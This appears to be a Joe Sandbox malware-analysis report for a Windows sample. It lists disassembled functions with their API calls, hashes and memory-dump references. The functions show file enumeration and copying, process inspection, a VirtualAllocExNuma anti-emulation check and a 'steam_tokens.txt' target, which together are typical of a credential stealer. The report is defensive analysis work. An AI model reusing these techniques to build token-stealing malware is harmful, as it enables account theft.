Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d0364290ab6fa734d39c07d98ab2ba7b483d22ac672c376d24aaf819a8b3ff72
Instruction ID: e72ba452ea27ffb2b93dc02be2713615382baea69778d003bfec486cba20876f
Opcode Fuzzy Hash: d0364290ab6fa734d39c07d98ab2ba7b483d22ac672c376d24aaf819a8b3ff72
Instruction Fuzzy Hash: D421D67690030867C764FB60EC4AEED333DBB54700F404659B68993186EE79DBC99BA2

Function 00FD0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,007B8FF8), ref: 00FD079A
StrCmpCA.SHLWAPI(00000000,007B9078), ref: 00FD0866
StrCmpCA.SHLWAPI(00000000,007B90F8), ref: 00FD099D

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 80097a4b2fdff539b2821705e382ea37bb9e325fdf7c36b9f4574d4e3379fa35
Instruction ID: cabd1e52badb1c9b3e6633e04a0182a29dbd987609443dbf023ede6975fedb0c
Opcode Fuzzy Hash: 80097a4b2fdff539b2821705e382ea37bb9e325fdf7c36b9f4574d4e3379fa35
Instruction Fuzzy Hash: 9A916675A002489FCB28EF64DD96BED7776FF94300F448519E8099B342EB349A05DB86

Function 00FD0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,007B8FF8), ref: 00FD079A
StrCmpCA.SHLWAPI(00000000,007B9078), ref: 00FD0866
StrCmpCA.SHLWAPI(00000000,007B90F8), ref: 00FD099D

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: d2dfc7e212d009cf890b66c73365667639ecd51d5806264acd347db3b1d3eb5b
Instruction ID: 8a6c49067f352a09a0e92095d4598fbf595b31a0b8b2de8d7c5b0df143af9178
Opcode Fuzzy Hash: d2dfc7e212d009cf890b66c73365667639ecd51d5806264acd347db3b1d3eb5b
Instruction Fuzzy Hash: 3D818675A002089FCB28EF64DD95BEDB7B6FF94300F548519E8099F341DB34AA06DB86

Function 00FD70D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

memset.MSVCRT ref: 00FD716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00FD718C

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: dc8fe9ebf70a16b4f11d49210725f2b5064d556e1496468d82f8835602e7b535
Instruction ID: 6040ca8ba7d2d65c834bd5ba61134969d5f3f123da738822224ab3f1b20a1b8c
Opcode Fuzzy Hash: dc8fe9ebf70a16b4f11d49210725f2b5064d556e1496468d82f8835602e7b535
Instruction Fuzzy Hash: 7E5190B0C043199BDB14EB90DC81BEEB375AF44304F1841AAE5157B281EF786E88EF59

Function 00FD4BB0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FD4BEA
lstrcat.KERNEL32(?,007BDA60), ref: 00FD4C08

Part of subcall function 00FD4910: wsprintfA.USER32 ref: 00FD492C
Part of subcall function 00FD4910: FindFirstFileA.KERNEL32(?,?), ref: 00FD4943

Part of subcall function 00FD4910: StrCmpCA.SHLWAPI(?,00FE0FDC), ref: 00FD4971
Part of subcall function 00FD4910: StrCmpCA.SHLWAPI(?,00FE0FE0), ref: 00FD4987
Part of subcall function 00FD4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00FD4B7D
Part of subcall function 00FD4910: FindClose.KERNEL32(000000FF), ref: 00FD4B92

Part of subcall function 00FD4910: wsprintfA.USER32 ref: 00FD49B0
Part of subcall function 00FD4910: StrCmpCA.SHLWAPI(?,00FE08D2), ref: 00FD49C5
Part of subcall function 00FD4910: wsprintfA.USER32 ref: 00FD49E2
Part of subcall function 00FD4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00FD4A1E
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,007BE918), ref: 00FD4A4A
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,00FE0FF8), ref: 00FD4A5C
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,?), ref: 00FD4A70
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,00FE0FFC), ref: 00FD4A82
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,?), ref: 00FD4A96
Part of subcall function 00FD4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00FD4AAC
Part of subcall function 00FD4910: DeleteFileA.KERNEL32(?), ref: 00FD4B31

Part of subcall function 00FD4910: wsprintfA.USER32 ref: 00FD4A07

Strings

@{, xrefs: 00FD4C15

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: @{
API String ID: 2104210347-1215512406
Opcode ID: 0be50e432f1a81a9710d26b94618fa5a8ca8f62d3d7c4ebcc7bf7b769c6fb08d
Instruction ID: 7197a822478c3827aef8d24dfb5446023a4d3a99cf18f1a596dde27c1a5bb332
Opcode Fuzzy Hash: 0be50e432f1a81a9710d26b94618fa5a8ca8f62d3d7c4ebcc7bf7b769c6fb08d
Instruction Fuzzy Hash: 2E41D9B75002046BC764FB60FC46EEE333DA785700F44861CB64557287EEB99B889B92

Function 00FD9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00FD9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00FD94A5
CloseHandle.KERNEL32(00000000), ref: 00FD94AF

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: d05b72ba55513e785d2ef601080644ffaa6773fd123b75d49e9a61e4f26892e8
Instruction ID: b2bd027836184ff74b8328840a0ff1e6c383826e702c3d5eaa3bc3276c06b323
Opcode Fuzzy Hash: d05b72ba55513e785d2ef601080644ffaa6773fd123b75d49e9a61e4f26892e8
Instruction Fuzzy Hash: 00F03A7490020CABDB15DFA4D84AFED7778EB08310F008598BA0997280D6B46A85DB90

Function 00FC1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FC112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00FC1132
ExitProcess.KERNEL32 ref: 00FC1143

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: bfd13b4d8821b988f498c372777225220bd11bda93ad7a007081946e921f8272
Instruction ID: a052bb22432c273fb118b0e9b7dd253dd89f1a9b48f152b7fc2dbffd849c992e
Opcode Fuzzy Hash: bfd13b4d8821b988f498c372777225220bd11bda93ad7a007081946e921f8272
Instruction Fuzzy Hash: 07E08670985308FBE7206BA0AD0FF0C7678AB04B01F504144F709771C2C6B426109798

Function 00FC6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2886dbbdf667dbc5f3b316cd505388dbc22f2d844eb92c4850368675cd4c1c46
Instruction ID: 2700a3ce4c430d71620e51e50a7407d9934aee1762de946d35f9ed048d4c2470
Opcode Fuzzy Hash: 2886dbbdf667dbc5f3b316cd505388dbc22f2d844eb92c4850368675cd4c1c46
Instruction Fuzzy Hash: 486128B5D0420ADBCB14CF94EA46BEEB7B0BB44304F10859DE419A7281E735AE94EF91

Function 00FD5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA820: lstrlen.KERNEL32(00FC4F05,?,?,00FC4F05,00FE0DDE), ref: 00FDA82B
Part of subcall function 00FDA820: lstrcpy.KERNEL32(00FE0DDE,00000000), ref: 00FDA885

lstrlen.KERNEL32(00000000,00000000,00FE0ACA), ref: 00FD512A

Strings

steam_tokens.txt, xrefs: 00FD513F

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
